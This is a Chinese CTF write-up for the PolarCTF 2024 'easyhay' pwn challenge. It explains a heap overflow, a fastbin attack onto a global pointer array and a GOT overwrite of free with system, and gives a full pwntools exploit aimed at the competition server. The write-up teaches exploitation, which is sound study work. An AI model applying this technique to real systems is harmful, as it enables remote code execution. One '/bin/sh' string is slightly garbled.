题目
PolarCTF 2024秋季个人挑战赛 easyhay
思路
编辑功能存在堆溢出,且无show函数用来泄露libc main_arena+88地址数据,但是提供了system@plt以及checksec关闭了PIE
那么思路就有了,利用没有开启的PIE,找全局堆数组变量heaparray前面的0x7f位置,利用堆溢出的fastbin attack分配两次过去,进而可以修改全局数据中堆块的指针,使其指向free@got,然后编辑功能即等同于直接编辑free@got,替换内容为system@plt,最后直接调用free(‘/bin/sh’)即为调用system(‘/bin/sh’)
调试
Free掉1号堆
编辑0号堆,堆溢出编辑1号堆的fd指针为heaparray前面的一个0x7f的地址(因为没有PIE所以能直接定位到bss段上的heaparray)
两次分配过去之后把heaparray[0]的堆块指针覆盖为free@got的地址
调用edit函数,编辑heaparray[0],将其替换为system@plt
最后调用free(‘/bin/sh’)即可getshell
代码
from pwn import *
context(log_level ='debug', arch ='amd64', os ='linux')
p = remote('1.95.36.136', 2079)
#p=process('./easyhay')
elf = ELF('./easyhay')
libc=ELF('./libc-2.23.so')
def debug():
gdb.attach(p)
pause()
def create(size,content):
p.sendlineafter(b'Your choice :', b'1')
p.sendlineafter(b'Size of Heap : ', str(size))
p.sendafter(b'Content of heap:', content)
def free(idx):
p.sendlineafter(b'Your choice :', b'3')
p.sendlineafter(b'Index :',str(idx))
def edit(idx, size, content):
p.sendlineafter(b'Your choice :', b'2')
p.sendlineafter(b'Index :', str(idx))
p.sendlineafter(b'Size of Heap : ', str(size))
p.sendafter(b'Content of heap : ', content)
system_plt = elf.plt['system']
free_got = elf.got['free']
magic =0x6020C0
create(0x68,b'AAAA')
create(0x68,b'BBBB')
create(0x68,b'/bin/shx00')
free(1)
edit(0,0x100,b'a'*0x60+p64(0)+p64(0x71)+p64(magic-0x13))
create(0x68,b'BBBB')
create(0x68,b'a'*0x13+p64(0)*2+p64(free_got))
edit(0,0x20,p64(system_plt))
free(2)
p.interactive()
原文始发于微信公众号(智佳网络安全):【PWN】Edit堆溢出2.23无show函数
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论